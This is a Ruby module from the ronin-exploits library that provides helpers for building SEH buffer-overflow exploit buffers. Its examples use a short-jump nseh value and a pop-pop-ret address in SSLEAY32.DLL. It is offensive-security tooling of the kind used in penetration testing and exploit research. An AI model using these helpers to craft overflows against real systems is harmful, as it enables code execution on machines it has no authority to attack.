lib/ronin/exploits/mixins/seh.rb
# frozen_string_literal: true
#
# ronin-exploits - A Ruby library for ronin-rb that provides exploitation and
# payload crafting functionality.
#
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# ronin-exploits is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ronin-exploits is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with ronin-exploits. If not, see <https://www.gnu.org/licenses/>.
#
require 'ronin/exploits/mixins/text'
require 'ronin/exploits/mixins/binary'
require 'ronin/exploits/mixins/nops'
module Ronin
module Exploits
module Mixins
#
# Methods for building Structured Exception Handler (SEH) buffer
# overflows.
#
# ## Example
#
# include Mixins::SEH
#
# def build
# nseh = 0x06eb9090 # short jump 6 bytes
# seh = 0x1001ae86 # pop pop ret 1001AE86 SSLEAY32.DLL
#
# buffer = seh_buffer_overflow(length: 1024, nops: 16, payload: payload, nseh: nseh, seh: seh)
# # ...
# end
#
# If you want more control over how the buffer is constructed:
#
# include Mixins::SEH
#
# def build
# nseh = 0x06eb9090 # short jump 6 bytes
# seh = 0x1001ae86 # pop pop ret 1001AE86 SSLEAY32.DLL
#
# buffer = junk(1024) + seh_record(nseh,seh) + nops(16) + payload
# # ...
# end
#
# @api public
#
# @since 1.0.0
#
module SEH
include Text
include Binary
include NOPS
#
# Creates a SEH record.
#
# @param [Integer] nseh
# The address to the next SEH record.
#
# @param [Integer] seh
# The address to the SEH exception handler for the record that we
# want to call.
#
# @return [String]
# The SEH record.
#
# @example
# nseh = 0x06eb9090 # short jump 6 bytes
# seh = 0x1001ae86 # pop pop ret 1001AE86 SSLEAY32.DLL
#
# buffer = junk(1024) + seh_record(nseh,seh) + nops(16) + payload
#
# @api public
#
def seh_record(nseh,seh)
pack(:machine_word,nseh) + pack(:machine_word,seh)
end
#
# Builds a SEH buffer overflow.
#
# @param [Integer] length
# The desired length of the buffer.
#
# @param [Integer, nil] nops
# The optional amount of NOPs to add before the payload.
#
# @param [#to_s] payload
# The payload to add to the buffer.
#
# @param [Integer] nseh
# The address to the next SEH record.
#
# @param [Integer] seh
# The address to the SEH exception handler for the record that we
# want to call.
#
# @return [String]
# The SEH buffer overflow.
#
# @example
# nseh = 0x06eb9090 # short jump 6 bytes
# seh = 0x1001ae86 # pop pop ret 1001AE86 SSLEAY32.DLL
#
# buffer = seh_buffer_overflow(length: 1024, nops: 16, payload: payload, nseh: nseh, seh: seh)
#
# @api public
#
def seh_buffer_overflow(length: , nops: nil, payload: , nseh: , seh: )
payload = payload.to_s
payload = self.nops(nops) + payload if nops
seh_record = self.seh_record(nseh,seh)
buffer = String.new(encoding: Encoding::ASCII_8BIT)
buffer << junk(length - payload.bytesize - seh_record.bytesize)
buffer << payload
buffer << seh_record
return buffer
end
end
end
end
end